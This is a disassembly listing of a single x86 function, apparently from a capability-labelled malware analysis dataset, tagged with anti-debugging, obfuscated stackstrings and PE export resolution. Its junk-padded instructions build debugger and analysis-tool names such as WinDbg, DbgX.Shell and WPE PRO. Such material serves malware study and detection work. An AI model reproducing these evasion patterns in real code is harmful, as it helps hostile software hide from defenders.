Function at 0x84638a
Capabilities:
Authenticate hmac
Check http status code
Contain obfuscated stackstrings
Encode data using base64
Execute anti-debugging instructions
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov byte [esp + 0x2f8], bl
jmp 0x5f8de5
mov word [esp + 0xaba], si
mov esi, 0x3f
cmp bx, si
test esi, ebp
mov word [esp + 0xabc], si
bsr esi, edi
mov esi, edi
dec esi
mov esi, 0x20
mov word [esp + 0xabe], si
bts esi, edx
bswap si
mov esi, 0x36
mov word [esp + 0xac0], si
mov esi, ecx
mov esi, 0x38
mov word [esp + 0xac2], si
rcr si, 0x45
cmp sp, 0x4c86
mov esi, 0x20
test eax, 0x2f84136e
clc
mov word [esp + 0xac4], si
and si, 0x11bf
and esi, esp
shl esi, 0xbf
mov esi, 0x30
mov word [esp + 0xac6], si
bts si, cx
btc si, si
mov esi, 0x36
mov word [esp + 0xac8], si
dec si
mov esi, 0x498817c1
and si, 0xb1c
mov esi, 0x20
mov word [esp + 0xaca], si
bt esi, edx
neg esi
cmp esp, 0x3175203e
mov esi, 0x30
jmp 0x754930
mov word [esp + 0x90a], si
sal esi, 1
cmc
mov esi, 0x20
clc
mov word [esp + 0x90c], si
cmovg si, cx
mov esi, 0x30
test si, si
test bp, 0x34ee
cmc
mov word [esp + 0x90e], si
mov word [esp + 0x910], si
rcr esi, 0xea
mov esi, 0x20
mov word [esp + 0x912], si
btr esi, 0x65
mov esi, 0x36
stc
cmp cx, 0x6e77
mov word [esp + 0x914], si
and esi, 0xf323247
xor si, bx
clc
mov esi, 0x34
cmp cx, 0x683a
mov word [esp + 0x916], si
mov esi, 0x20
test dx, 0x29f4
mov word [esp + 0x918], si
and si, 0x602c
sub si, di
mov esi, 0x30
clc
cmp bx, sp
mov word [esp + 0x91a], si
mov word [esp + 0x91c], si
rcl si, 0x57
btc si, 0x57
xchg esi, esi
mov esi, 0x20
mov word [esp + 0x91e], si
sub esi, 0x62511b4e
mov esi, 0x36
mov word [esp + 0x920], si
mov si, bp
jmp 0x83152a
mov byte [esp + 0x3f5], cl
mov byte [esp + 0x3f6], 0x72
mov byte [esp + 0x3f7], bl
movsx esi, si
mov byte [esp + 0x678], 0x4d
btr esi, 0xe3
rol esi, 0xf7
mov byte [esp + 0x679], 0x61
bswap si
bts si, bx
mov byte [esp + 0x67a], 0x68
clc
mov byte [esp + 0x67b], cl
jmp 0x5e4a2b
mov esi, 0x38
jmp 0x7d1cb5
mov word [esp + 0xa7a], si
bts si, di
adc si, dx
shld esi, ebx, 1
mov esi, 0x43
mov word [esp + 0xa7c], si
or si, 0x5ffa
jmp 0x63d479
mov byte [esp + 0x347], dl
clc
jmp 0x877c13
mov word [esp + 0x8fe], si
mov esi, 0x20
cmp cx, ax
clc
mov word [esp + 0x900], si
mov esi, 0x30
stc
clc
mov word [esp + 0x902], si
cmp esi, 0x417a391f
cmp ecx, esp
mov word [esp + 0x904], si
mov esi, 0x20
mov word [esp + 0x906], si
shld si, bp, 0xd5
add si, 0x1344
mov esi, 0x32
cmp bh, 0x97
mov word [esp + 0x908], si
neg si
mov esi, 0x45
jmp 0x57803e
mov byte [esp + 0x3a1], 0x6c
mov byte [esp + 0x3a2], 0x64
test esp, esp
mov byte [esp + 0x3a3], 0x6c
cmp bx, bp
clc
cmc
mov byte [esp + 0x3a4], 0x69
cmc
test bx, di
cmp cx, di
mov byte [esp + 0x3a5], 0x6e
jmp 0x67c9d5
mov byte [esp + 0x30f], 0x2e
cmp si, 0x1944
mov byte [esp + 0x310], 0x64
cmp bx, 0x1d66
mov byte [esp + 0x311], 0x6c
test edx, esi
mov byte [esp + 0x312], 0x6c
clc
mov byte [esp + 0x313], bl
mov word [esp + 0x884], si
mov esi, 0x30
test ax, 0x31f0
stc
jmp 0x731e96
mov byte [esp + 0x67c], 0x62
mov byte [esp + 0x67d], 0x69
shld esi, ebx, 0xfe
mov byte [esp + 0x67e], 0x57
mov byte [esp + 0x67f], 0x69
and esi, 0x515a02c1
sub esi, ebx
mov byte [esp + 0x680], 0x6e
or esi, 0x5fa4707f
mov byte [esp + 0x681], 0x64
add esi, ebx
btr esi, 0xcc
or si, si
mov byte [esp + 0x682], cl
cmp esi, ebx
mov byte [esp + 0x683], 0x77
mov byte [esp + 0x684], 0x43
cmovo si, si
mov byte [esp + 0x685], 0x6c
btc si, cx
cmp cl, 0x2f
mov byte [esp + 0x686], 0x61
bts esi, ecx
not esi
sbb si, dx
mov byte [esp + 0x687], dl
add si, 0xd9b
mov byte [esp + 0x688], dl
or esi, 0x1552746a
movzx esi, sp
mov byte [esp + 0x689], bl
bts esi, esi
mov byte [esp + 0x424], 0x57
bswap si
mov byte [esp + 0x425], 0x69
xchg esi, esi
sub si, sp
mov byte [esp + 0x426], 0x6e
neg esi
mov byte [esp + 0x427], 0x44
and esi, 0x793e0574
or si, bx
mov byte [esp + 0x428], 0x62
bt si, 0x71
btc si, bp
cmp ebx, esp
mov byte [esp + 0x429], 0x67
mov byte [esp + 0x42a], bl
sar esi, 0x20
mov byte [esp + 0x528], 0x47
xor esi, 0x61a160c1
mov byte [esp + 0x529], 0x68
sub si, 0x657e
movzx esi, cx
mov byte [esp + 0x52a], cl
shl esi, 0x7b
btc esi, ebx
shrd si, bx, 0x8c
mov byte [esp + 0x52b], dl
bsf si, dx
mov byte [esp + 0x52c], 0x74
mov byte [esp + 0x52d], 0x43
mov byte [esp + 0x52e], 0x6c
ror si, 0xb3
movsx esi, di
mov byte [esp + 0x52f], 0x61
movzx esi, ax
test dl, 0x8a
mov byte [esp + 0x530], dl
bt si, cx
rol si, 0x1a
mov byte [esp + 0x531], dl
mov byte [esp + 0x532], bl
rol esi, 0x8b
mov byte [esp + 0x664], 0x57
mov byte [esp + 0x665], 0x69
cmp esi, 0x4ec3604b
adc esi, 0x5e4c5fa9
mov byte [esp + 0x666], 0x6e
mov byte [esp + 0x667], 0x44
add si, 0x554e
mov byte [esp + 0x668], 0x62
rol esi, 0x74
mov byte [esp + 0x669], 0x67
mov byte [esp + 0x66a], 0x46
mov byte [esp + 0x66b], 0x72
bsr si, sp
mov byte [esp + 0x66c], 0x61
mov byte [esp + 0x66d], 0x6d
shl si, 0xf9
movzx esi, bx
mov si, 0x505d
mov byte [esp + 0x66e], al
shr si, 0x8e
cmp sp, 0x1986
test ebp, 0x49a70e87
mov byte [esp + 0x66f], 0x43
mov byte [esp + 0x670], 0x6c
sub esi, 0x3d5c7840
mov byte [esp + 0x671], 0x61
btr esi, 6
mov byte [esp + 0x672], dl
mov si, bx
mov byte [esp + 0x673], dl
xchg si, si
stc
movzx esi, si
mov byte [esp + 0x674], bl
shr si, 0xf6
mov byte [esp + 0x650], 0x43
inc si
mov byte [esp + 0x651], 0x69
bts si, dx
movsx esi, ax
mov byte [esp + 0x652], 0x63
btr esi, edi
sal esi, 1
mov byte [esp + 0x653], al
mov byte [esp + 0x654], 0x72
xadd esi, esi
neg si
test edi, 0x6e0c763d
mov byte [esp + 0x655], cl
mov byte [esp + 0x656], 0x55
bsr esi, edi
mov byte [esp + 0x657], 0x49
cmp edi, eax
ror esi, 0xd6
mov byte [esp + 0x658], 0x57
btc si, bp
xor esi, eax
mov byte [esp + 0x659], 0x6e
sub si, sp
mov byte [esp + 0x65a], 0x64
dec si
or si, bp
mov byte [esp + 0x65b], 0x46
sbb si, di
xchg esi, esi
mov byte [esp + 0x65c], 0x72
and si, 0x677f
sbb esi, esi
mov byte [esp + 0x65d], 0x61
mov byte [esp + 0x65e], 0x6d
stc
mov byte [esp + 0x65f], al
cmp cl, 0x3c
mov byte [esp + 0x660], bl
test di, di
not si
mov byte [esp + 0x3d0], 0x64
xor si, bx
mov byte [esp + 0x3d1], al
mov byte [esp + 0x3d2], 0x76
mov byte [esp + 0x3d3], al
mov byte [esp + 0x3d4], 0x6e
bsr esi, eax
mov byte [esp + 0x3d5], 0x76
mov byte [esp + 0x3d6], 0x2e
shrd esi, ebp, 0xf1
mov byte [esp + 0x3d7], al
and esi, 0x39c50df9
mov byte [esp + 0x3d8], 0x78
shl esi, 0xed
add si, 0x6db0
mov byte [esp + 0x3d9], al
shrd si, si, 0xc5
sbb esi, ebp
xchg esi, esi
mov byte [esp + 0x3da], bl
mov esi, esi
and si, di
mov byte [esp + 0x54c], 0x77
ror si, 0xec
and esi, 0x5a0514ad
mov byte [esp + 0x54d], 0x69
shrd esi, esi, 0x4a
bts esi, ecx
mov byte [esp + 0x54e], 0x6e
xchg si, si
not esi
sbb si, 0x6a9d
mov byte [esp + 0x54f], 0x64
xor esi, ebp
sar si, 0x98
mov byte [esp + 0x550], 0x62
bt esi, edi
xchg esi, esi
mov byte [esp + 0x551], 0x67
bts si, sp
mov byte [esp + 0x552], 0x2e
mov byte [esp + 0x553], al
test edx, edi
mov byte [esp + 0x554], 0x78
btc esi, edx
sbb si, 0x21a7
mov byte [esp + 0x555], al
mov byte [esp + 0x556], bl
mov byte [esp + 0x5d4], 0x44
bsf si, sp
sub esi, ecx
mov byte [esp + 0x5d5], 0x62
mov esi, 0x79682f70
xchg esi, esi
mov byte [esp + 0x5d6], 0x67
and si, 0x2f8c
add si, dx
xadd esi, esi
mov byte [esp + 0x5d7], 0x58
xchg si, si
mov byte [esp + 0x5d8], 0x2e
mov byte [esp + 0x5d9], 0x53
sub si, ax
test cx, 0x63bb
mov byte [esp + 0x5da], 0x68
adc esi, ebx
sbb esi, edx
adc esi, 0x1724301f
mov byte [esp + 0x5db], al
shrd esi, esp, 0xf1
mov byte [esp + 0x5dc], 0x6c
sbb si, 0x31d0
movsx esi, di
btc si, 0x81
mov byte [esp + 0x5dd], 0x6c
shl si, 0xc3
mov byte [esp + 0x5de], 0x2e
mov byte [esp + 0x5df], al
sub esi, ebp
btr si, sp
add si, si
mov byte [esp + 0x5e0], 0x78
mov byte [esp + 0x5e1], al
mov byte [esp + 0x5e2], bl
rol si, 0x6b
add si, 0x4907
mov byte [esp + 0x6b8], 0x4d
mov byte [esp + 0x6b9], 0x69
adc esi, 0x423126ce
mov byte [esp + 0x6ba], 0x63
mov byte [esp + 0x6bb], 0x72
sbb esi, esi
or si, 0x333d
mov byte [esp + 0x6bc], cl
bts si, di
sub esi, 0x662b2946
xchg si, si
mov byte [esp + 0x6bd], dl
or esi, eax
mov byte [esp + 0x6be], cl
mov byte [esp + 0x6bf], 0x66
xchg si, si
movzx esi, di
mov byte [esp + 0x6c0], 0x74
inc si
mov byte [esp + 0x6c1], 0x20
sal esi, 0xe
or si, ax
cmp bx, cx
mov byte [esp + 0x6c2], 0x56
sbb esi, eax
bsf si, ax
mov byte [esp + 0x6c3], 0x69
sar si, 0xaf
adc si, 0x456e
mov byte [esp + 0x6c4], dl
btr si, 0x36
sub esi, esp
mov byte [esp + 0x6c5], 0x75
mov byte [esp + 0x6c6], 0x61
mov byte [esp + 0x6c7], 0x6c
sal esi, 0x91
mov esi, 0x29262e4d
mov byte [esp + 0x6c8], 0x20
sbb si, 0x3d37
mov byte [esp + 0x6c9], 0x42
mov byte [esp + 0x6ca], 0x61
movzx esi, dx
mov byte [esp + 0x6cb], dl
mov byte [esp + 0x6cc], 0x69
and esi, 0x4a7b1fc1
cmp dh, 0xaf
mov byte [esp + 0x6cd], 0x63
bsr esi, esi
or esi, esi
stc
mov byte [esp + 0x6ce], 0x20
mov byte [esp + 0x6cf], 0x5b
mov byte [esp + 0x6d0], bl
sbb si, 0x5fa1
xor si, si
bts si, dx
mov byte [esp + 0x68c], 0x77
sbb esi, eax
cmc
xchg esi, esi
mov byte [esp + 0x68d], 0x6e
sub esi, 0x2e295a69
dec esi
mov byte [esp + 0x68e], 0x64
btr si, 0x4a
mov byte [esp + 0x68f], 0x63
bt si, 0xc9
adc si, 0x1689
bsr esi, esi
mov byte [esp + 0x690], 0x6c
rcr esi, 0xcc
mov byte [esp + 0x691], 0x61
shr esi, 0x5b
mov byte [esp + 0x692], dl
sar esi, 0x90
mov byte [esp + 0x693], dl
cmovns si, ax
add si, 0x1777
mov byte [esp + 0x694], 0x5f
sbb esi, 0x745b5f6a
xor si, bp
mov byte [esp + 0x695], 0x64
mov byte [esp + 0x696], al
bswap si
mov byte [esp + 0x697], dl
shl si, 0x41
btc esi, esi
mov byte [esp + 0x698], 0x6b
mov byte [esp + 0x699], al
btr si, sp
cmc
mov byte [esp + 0x69a], 0x64
sar esi, 0x33
movsx esi, dx
mov byte [esp + 0x69b], 0x5f
mov byte [esp + 0x69c], 0x67
clc
mov byte [esp + 0x69d], dl
cmovge si, dx
mov byte [esp + 0x69e], 0x6b
cmovb si, cx
bts esi, ecx
cmp edx, ebp
mov byte [esp + 0x69f], bl
bts si, bp
mov byte [esp + 0x4e0], 0x49
mov byte [esp + 0x4e1], 0x44
mov byte [esp + 0x4e2], 0x45
mov byte [esp + 0x4e3], 0x4f
mov esi, edx
adc esi, ebp
mov byte [esp + 0x4e4], 0x77
mov si, 0x5674
mov byte [esp + 0x4e5], 0x6e
mov byte [esp + 0x4e6], al
dec si
neg esi
mov byte [esp + 0x4e7], 0x72
not si
mov byte [esp + 0x4e8], bl
neg si
mov byte [esp + 0x454], 0x56
clc
sub si, 0xaf4
mov byte [esp + 0x455], 0x42
mov byte [esp + 0x456], 0x35
and si, ax
sbb si, 0x7565
shrd esi, ebp, 0xb
mov byte [esp + 0x457], 0x2e
test si, 0x319
sub si, di
mov byte [esp + 0x458], 0x45
bswap esi
btr esi, edx
mov byte [esp + 0x459], 0x58
stc
mov byte [esp + 0x45a], 0x45
cmc
sbb si, si
mov byte [esp + 0x45b], bl
or si, 0x6c10
mov byte [esp + 0x48c], 0x56
sbb si, sp
cmovnp si, cx
mov byte [esp + 0x48d], 0x42
mov byte [esp + 0x48e], 0x36
or esi, eax
mov byte [esp + 0x48f], 0x2e
mov byte [esp + 0x490], 0x45
btc esi, 0xd1
cmc
mov byte [esp + 0x491], 0x58
btc si, 0x9d
mov byte [esp + 0x492], 0x45
mov byte [esp + 0x493], bl
test ebp, 0x1a744744
mov byte [esp + 0x510], 0x57
btc esi, 0x96
btr esi, ecx
mov byte [esp + 0x511], 0x2d
adc esi, edx
mov byte [esp + 0x512], 0x50
mov byte [esp + 0x513], 0x2d
rcr si, 0x2f
shld esi, ecx, 0xe2
mov byte [esp + 0x514], 0x45
mov byte [esp + 0x515], 0x2e
xadd si, si
mov byte [esp + 0x516], al
shr si, 0x38
bsf esi, ecx
mov byte [esp + 0x517], 0x78
ror si, 0x73
xchg si, si
test esi, 0x55e2308
mov byte [esp + 0x518], al
mov byte [esp + 0x519], bl
mov byte [esp + 0x588], 0x57
xor si, 0x1225
shr si, 0x53
mov byte [esp + 0x589], 0x50
clc
dec esi
sub esi, 0x49cb54e6
mov byte [esp + 0x58a], 0x45
btr esi, eax
shld si, bx, 0x3e
mov byte [esp + 0x58b], 0x20
mov byte [esp + 0x58c], 0x50
rcr esi, 0xd3
bts esi, edi
mov byte [esp + 0x58d], 0x52
sbb esi, edi
shr esi, 0x7f
mov byte [esp + 0x58e], 0x4f
mov si, bx
mov byte [esp + 0x58f], 0x2e
mov byte [esp + 0x590], al
mov byte [esp + 0x591], 0x78
mov byte [esp + 0x592], al
sar esi, 0xec
mov byte [esp + 0x593], bl
add si, si
mov byte [esp + 0x534], 0x57
xor si, 0x7c04
adc esi, ebp
mov byte [esp + 0x535], al
add si, bp
or esi, 0xc436b2d
mov esi, 0x36
clc
cmp ax, 0x2557
mov word [esp + 0xa8c], si
ror si, 0x7f
sbb si, 0x3f30
mov esi, 0x38
stc
test cx, 0x1e9c
cmp cl, 0xe5
mov word [esp + 0xa8e], si
xadd esi, esi
bswap si
cmp dl, 0x16
mov esi, 0x20
stc
cmp ax, si
mov word [esp + 0xa90], si
xadd esi, esi
sub esi, 0x1ff11b11
mov esi, 0x31
cmp cx, 0x271c
cmc
mov word [esp + 0xa92], si
mov esi, 0x39
test cx, si
cmp bp, dx
mov word [esp + 0xa94], si
movsx esi, sp
cmp edi, ebx
rol si, 0x88
mov esi, 0x20
mov word [esp + 0xa96], si
adc si, dx
inc si
mov esi, 0x30
cmp sp, 0x3aee
cmc
mov word [esp + 0xa98], si
cmp cx, 0xa99
cmc
stc
mov word [esp + 0xa9a], si
mov esi, 0x20
mov word [esp + 0xa9c], si
bsr esi, edi
mov esi, 0x30
mov word [esp + 0xa9e], si
stc
mov word [esp + 0xaa0], si
xadd esi, esi
xor esi, 0x1b7c17d8
sub esi, 0x3b635f96
mov esi, 0x20
cmp bp, bp
mov word [esp + 0xaa2], si
sub esi, 0x7d265a96
mov byte [esp + 0x536], 0x70
mov byte [esp + 0x537], 0x53
mov byte [esp + 0x538], 0x70
mov byte [esp + 0x539], 0x79
jmp 0x7631ca
xor esi, esi
test ax, 0xb4b
cmc
stc
mov word [esp + 0x85a], si
ror si, 0xea
mov byte [esp + 0x434], 0x4c
neg esi
movzx esi, sp
add esi, 0x6d6032ce
mov byte [esp + 0x435], 0x69
test ebx, 0x52797c2c
xor si, si
mov byte [esp + 0x436], 0x6e
shrd esi, eax, 0x38
bswap si
rcr si, 0x74
mov byte [esp + 0x437], 0x70
mov byte [esp + 0x438], 0x72
mov esi, ebx
mov byte [esp + 0x439], cl
mov byte [esp + 0x43a], bl
or si, 0x4363
rol si, 0x13
clc
mov byte [esp + 0x43c], 0x4c
xor esi, ebp
mov byte [esp + 0x43d], 0x69
mov byte [esp + 0x43e], 0x6e
stc
mov byte [esp + 0x43f], 0x50
bt esi, esp
btr si, dx
mov byte [esp + 0x440], 0x72
mov byte [esp + 0x441], cl
btr esi, ebx
shl si, 0xa
mov byte [esp + 0x442], bl
btc si, 0x23
shl si, 0xbb
add esi, ebp
mov byte [esp + 0x558], 0x48
mov byte [esp + 0x559], 0x61
stc
mov byte [esp + 0x55a], 0x64
adc esi, 0x69544ccd
mov byte [esp + 0x55b], al
or si, 0x644
mov byte [esp + 0x55c], dl
xchg esi, esi
mov byte [esp + 0x55d], 0x32
bt si, 0x62
mov byte [esp + 0x55e], 0x2e
mov byte [esp + 0x55f], al
test bx, 0x1e9
mov byte [esp + 0x560], 0x78
add si, sp
mov byte [esp + 0x561], al
mov byte [esp + 0x562], bl
xor si, 0x24f
cmovle si, si
add esi, esi
mov byte [esp + 0x5b4], 0x41
mov byte [esp + 0x5b5], 0x31
bt si, cx
not si
test sp, si
mov byte [esp + 0x5b6], 0x32
rcl esi, 0xa7
test si, 0x1013
bts esi, edx
mov byte [esp + 0x5b7], 0x30
xor si, 0x7300
mov byte [esp + 0x5b8], 0x39
bsr si, cx
bswap si
mov byte [esp + 0x5b9], 0x32
bts esi, esp
mov byte [esp + 0x5ba], 0x37
cmp esi, ecx
mov byte [esp + 0x5bb], 0x30
mov byte [esp + 0x5bc], 0x31
mov byte [esp + 0x5bd], 0x2e
bts si, si
btr esi, edi
mov byte [esp + 0x5be], 0x64
xor si, 0x7ac3
bsr si, bx
mov byte [esp + 0x5bf], 0x6c
btr si, 0x4e
adc esi, 0x1e3a42bd
mov byte [esp + 0x5c0], 0x6c
mov byte [esp + 0x5c1], bl
add esi, 0x499f4807
mov byte [esp + 0x5a4], 0x41
mov byte [esp + 0x5a5], 0x31
and esi, 0x6beb32e5
adc si, bx
not si
mov byte [esp + 0x5a6], 0x33
mov byte [esp + 0x5a7], 0x30
bswap esi
sub si, ax
bsr esi, eax
mov byte [esp + 0x5a8], 0x33
bt esi, edi
stc
btc si, 0x93
mov byte [esp + 0x5a9], 0x32
mov byte [esp + 0x5aa], 0x37
bt si, cx
mov byte [esp + 0x5ab], 0x30
shr si, 0x3d
movzx esi, bx
mov byte [esp + 0x5ac], 0x31
sar si, 0xdf
xor si, bx
bsr si, bx
mov byte [esp + 0x5ad], 0x2e
mov byte [esp + 0x5ae], 0x64
xor si, sp
or si, bp
bt si, bx
mov byte [esp + 0x5af], 0x6c
bswap si
bt esi, 0xa3
mov byte [esp + 0x5b0], 0x6c
sub esi, ebx
mov byte [esp + 0x5b1], bl
mov byte [esp + 0x5c4], 0x41
mov byte [esp + 0x5c5], 0x31
sbb esi, ebx
mov byte [esp + 0x5c6], 0x33
mov byte [esp + 0x5c7], 0x30
adc si, cx
mov esi, 0x66111eb5
mov byte [esp + 0x5c8], 0x38
add esi, 0x73f83146
inc esi
neg si
mov byte [esp + 0x5c9], 0x31
mov byte [esp + 0x5ca], 0x39
mov byte [esp + 0x5cb], 0x30
mov byte [esp + 0x5cc], 0x31
test sp, 0x2ff5
movsx esi, dx
test si, di
mov byte [esp + 0x5cd], 0x2e
cmp ah, 0xa
adc si, bp
and si, ax
mov byte [esp + 0x5ce], 0x64
mov si, cx
shld esi, esi, 0xdf
mov byte [esp + 0x5cf], 0x6c
mov byte [esp + 0x5d0], 0x6c
btc si, 0xd7
and esi, 0x4d251b43
mov byte [esp + 0x5d1], bl
mov byte [esp + 0x4c8], 0x43
mov byte [esp + 0x4c9], 0x75
or esi, 0x10436dac
and esi, ebx
mov byte [esp + 0x4ca], 0x72
mov byte [esp + 0x4cb], al
mov si, 0x2ea8
btr si, ax
movsx esi, dx
mov byte [esp + 0x4cc], 0x2e
btr esi, ebx
bts esi, edx
mov byte [esp + 0x4cd], 0x74
xor si, cx
btr esi, eax
mov byte [esp + 0x4ce], 0x78
btc si, dx
mov byte [esp + 0x4cf], 0x74
bt si, bp
mov byte [esp + 0x4d0], bl
or si, 0x389e
add esi, 0x54bb6e28
shld esi, esp, 0x72
mov byte [esp + 0x5e4], 0x47
mov byte [esp + 0x5e5], al
mov byte [esp + 0x5e6], 0x74
not esi
mov byte [esp + 0x5e7], 0x56
mov byte [esp + 0x5e8], al
and si, cx
mov byte [esp + 0x5e9], 0x72
mov byte [esp + 0x5ea], dl
mov byte [esp + 0x5eb], 0x69
shr esi, 0x16
mov byte [esp + 0x5ec], cl
cmp esi, 0x40d06c69
stc
btc esi, edi
mov byte [esp + 0x5ed], 0x6e
mov byte [esp + 0x5ee], 0x2e
bsr si, dx
bswap si
bsf esi, ecx
mov byte [esp + 0x5ef], al
cmovge si, sp
mov byte [esp + 0x5f0], 0x78
mov byte [esp + 0x5f1], al
sal si, 0x30
mov byte [esp + 0x5f2], bl
mov byte [esp + 0x628], 0x48
btc si, 0x8c
mov byte [esp + 0x629], cl
test cl, 0xc9
mov byte [esp + 0x62a], 0x74
inc esi
or si, 0x35a4
mov byte [esp + 0x62b], 0x6b
movzx esi, bx
add esi, 0xb93633c
mov byte [esp + 0x62c], al
clc
add esi, 0x75e40bb8
shrd si, di, 0x10
mov byte [esp + 0x62d], 0x79
or si, 0x6d4d
shl si, 0xc9
mov byte [esp + 0x62e], dl
mov byte [esp + 0x62f], 0x61
rcr esi, 0x27
mov byte [esp + 0x630], 0x6d
btc si, si
mov byte [esp + 0x631], 0x70
rcl esi, 0xe1
sbb si, bp
mov byte [esp + 0x632], 0x6c
sar esi, 0x63
mov byte [esp + 0x633], al
mov byte [esp + 0x634], 0x2e
mov esi, 0x355f58a5
mov byte [esp + 0x635], 0x74
inc si
neg esi
mov byte [esp + 0x636], 0x78
neg si
bts esi, ebx
mov si, sp
mov byte [esp + 0x637], 0x74
mov byte [esp + 0x638], bl
mov byte [esp + 0x540], 0x53
mov byte [esp + 0x541], 0x61
mov byte [esp + 0x542], 0x6d
add si, cx
mov byte [esp + 0x543], 0x70
sbb esi, 0x2c036a5d
mov byte [esp + 0x544], 0x6c
dec esi
rol si, 0x60
mov byte [esp + 0x545], al
sub si, 0x2bb1
cmc
mov byte [esp + 0x546], 0x2e
sar esi, 0x2e
mov byte [esp + 0x547], 0x74
not esi
btr si, si
mov byte [esp + 0x548], 0x78
mov byte [esp + 0x549], 0x74
mov byte [esp + 0x54a], bl
mov esi, 0x30
mov word [esp + 0xa44], si
jmp 0x870fa0
mov byte [esp + 0x344], 0x25
test esp, ecx
cmc
mov byte [esp + 0x345], dl
mov byte [esp + 0x346], 0x25
stc
jmp 0x58328c
mov word [esp + 0x8ea], si
mov word [esp + 0x8ec], si
mov esi, 0x20
mov word [esp + 0x8ee], si
mov esi, 0x36
test edi, ecx
mov word [esp + 0x8f0], si
bsr esi, ebx
movsx esi, dx
mov esi, 0x39
clc
cmc
stc
mov word [esp + 0x8f2], si
add si, 0x5759
test ebx, esi
mov esi, 0x20
mov word [esp + 0x8f4], si
mov esi, 0x30
clc
cmp eax, edi
mov word [esp + 0x8f6], si
cmp edi, esp
cmc
mov word [esp + 0x8f8], si
and esi, ebx
xchg esi, esi
shr si, 0x4e
mov esi, 0x20
mov word [esp + 0x8fa], si
sal esi, 0x72
mov si, 0x2a2a
ror esi, 0x1f
mov esi, 0x36
clc
mov word [esp + 0x8fc], si
bsr si, ax
or esi, esi
mov esi, 0x45
jmp 0x58d4cc
mov byte [esp + 0x6b6], al
clc
test esp, 0x47e966f9
mov byte [esp + 0x471], al
bsr ax, cx
shr ah, 0xfd
mov word [esp + 0xb02], si
movzx ax, cl
lea eax, [esp + 0x328]
stc
xor esi, esi
push eax
mov word [esp + 0xb08], si
jmp 0x874015
mov word [esp + 0x7f2], si
mov esi, 0x33
cmp esp, eax
cmp di, 0x2ae2
mov word [esp + 0x7f4], si
mov esi, 0x35
mov word [esp + 0x7f6], si
test cx, bp
stc
cmc
xor esi, esi
mov word [esp + 0x7f8], si
adc si, ax
mov esi, 0x35
test ecx, ebp
cmp edi, eax
mov word [esp + 0x7fc], si
shl si, 0xcb
mov esi, 0x43
mov word [esp + 0x7fe], si
inc esi
or si, 0xb8e
btr esi, ebx
mov esi, 0x20
test dh, 0x72
clc
mov word [esp + 0x800], si
rol si, 0x4c
mov esi, 0x30
cmc
mov word [esp + 0x802], si
mov word [esp + 0x804], si
shr si, 0x9d
xor si, 0x439e
xadd si, si
mov esi, 0x20
mov word [esp + 0x806], si
not esi
add esi, ebp
and si, 0x785b
mov esi, 0x36
clc
mov word [esp + 0x808], si
cmovb si, dx
add esi, 0x3e466aff
or esi, 0x738e242d
mov esi, 0x46
mov word [esp + 0x80a], si
mov esi, 0x20
clc
cmc
mov word [esp + 0x80c], si
mov esi, 0x30
mov word [esp + 0x80e], si
cmp ebx, 0x550e5e37
cmp dx, di
clc
mov word [esp + 0x810], si
bts esi, esp
bt si, si
mov esi, 0x20
stc
mov word [esp + 0x812], si
btc si, cx
sal esi, 0x1a
mov esi, 0x36
mov word [esp + 0x814], si
bt esi, 6
xchg si, si
sbb si, 0x2be
mov esi, 0x43
clc
mov word [esp + 0x816], si
mov esi, 0x20
cmp dx, 0x3ee5
stc
mov word [esp + 0x818], si
mov esi, 0x30
stc
mov word [esp + 0x81a], si
mov word [esp + 0x81c], si
cmc
rcr esi, 0x28
mov esi, 0x20
mov word [esp + 0x81e], si
shl si, 0x85
xor esi, edx
mov esi, 0x36
clc
test dh, 0xf1
mov word [esp + 0x820], si
bts si, si
mov esi, 0x34
mov word [esp + 0x822], si
bts esi, ebp
mov esi, 0x20
cmc
cmp bp, 0x2824
mov word [esp + 0x824], si
or si, 0x5b4f
add si, 0x6f30
mov esi, 0x30
test esp, 0x2b95019f
mov word [esp + 0x826], si
clc
jmp 0x85422e
mov byte [esp + 0x612], 0x74
jmp 0x6d0c61
mov esi, 0x20
stc
mov word [esp + 0xa7e], si
jmp 0x6f29e4
mov byte [esp + 0x3a6], al
mov byte [esp + 0x3a7], 0x61
clc
test bp, bx
cmp ebx, 0x121f3b1a
mov byte [esp + 0x3a8], 0x67
stc
mov byte [esp + 0x3a9], al
test ebp, 0x5f937e64
mov byte [esp + 0x3aa], 0x2e
stc
test edi, 0x4858747d
cmp esi, 0x5b001451
mov byte [esp + 0x3ab], al
test bp, si
mov byte [esp + 0x3ac], 0x78
jmp 0x7b084e
push ebp
sub ax, bp
sub ebp, 0x18ca1d5e
mov ebp, esp
not eax
shrd eax, edx, 0x49
and esp, 0xfffffff8
push 0xffffffffffffffff
cwde
setl ah
push 0x4e5df8
movsx eax, cx
cbw
xchg ah, ah
mov eax, dword fs:[0]
push eax
xchg al, ah
not ah
push ecx
setg ah
mov ax, bp
mov eax, 0x1424
jmp 0x84638a
mov word [esp + 0x8d0], si
bt si, 0xce
and esi, 0x7c3c7302
sbb esi, 0x5ef529c5
mov esi, 0x30
cmc
mov word [esp + 0x8d2], si
stc
jmp 0x78725f
mov esi, 0x43
mov word [esp + 0x92e], si
mov esi, 0x20
clc
test sp, cx
mov word [esp + 0x930], si
mov esi, 0x30
cmc
mov word [esp + 0x932], si
test di, cx
mov word [esp + 0x934], si
or esi, 0x1bc13133
mov esi, 0x20
stc
cmp edx, 0x7b65219d
mov word [esp + 0x936], si
cmovl si, si
rol esi, 0x59
mov esi, 0x30
cmp dx, sp
cmp bp, 0x6623
mov word [esp + 0x938], si
test edi, edx
mov word [esp + 0x93a], si
mov si, 0x200d
and si, 0x7805
bsr si, bp
mov esi, 0x20
mov word [esp + 0x93c], si
jmp 0x842942
mov byte [esp + 0x3c0], 0x54
xor esi, ebp
mov byte [esp + 0x3c1], 0x68
mov byte [esp + 0x3c2], 0x75
adc esi, 0x26301edf
mov byte [esp + 0x3c3], 0x6e
and si, di
mov byte [esp + 0x3c4], 0x64
sbb esi, ecx
xor esi, 0x560e360f
mov byte [esp + 0x3c5], al
not esi
add esi, edx
mov byte [esp + 0x3c6], 0x72
rcr esi, 0x37
xor esi, edi
mov byte [esp + 0x3c7], 0x52
mov byte [esp + 0x3c8], 0x54
test bl, 0xa7
inc si
shl si, 7
mov byte [esp + 0x3c9], 0x36
movsx esi, ax
mov byte [esp + 0x3ca], 0x4d
mov esi, 0x30e437f4
bswap si
bsr si, sp
mov byte [esp + 0x3cb], 0x61
mov byte [esp + 0x3cc], 0x69
neg esi
bsr si, bp
mov byte [esp + 0x3cd], 0x6e
sub esi, edx
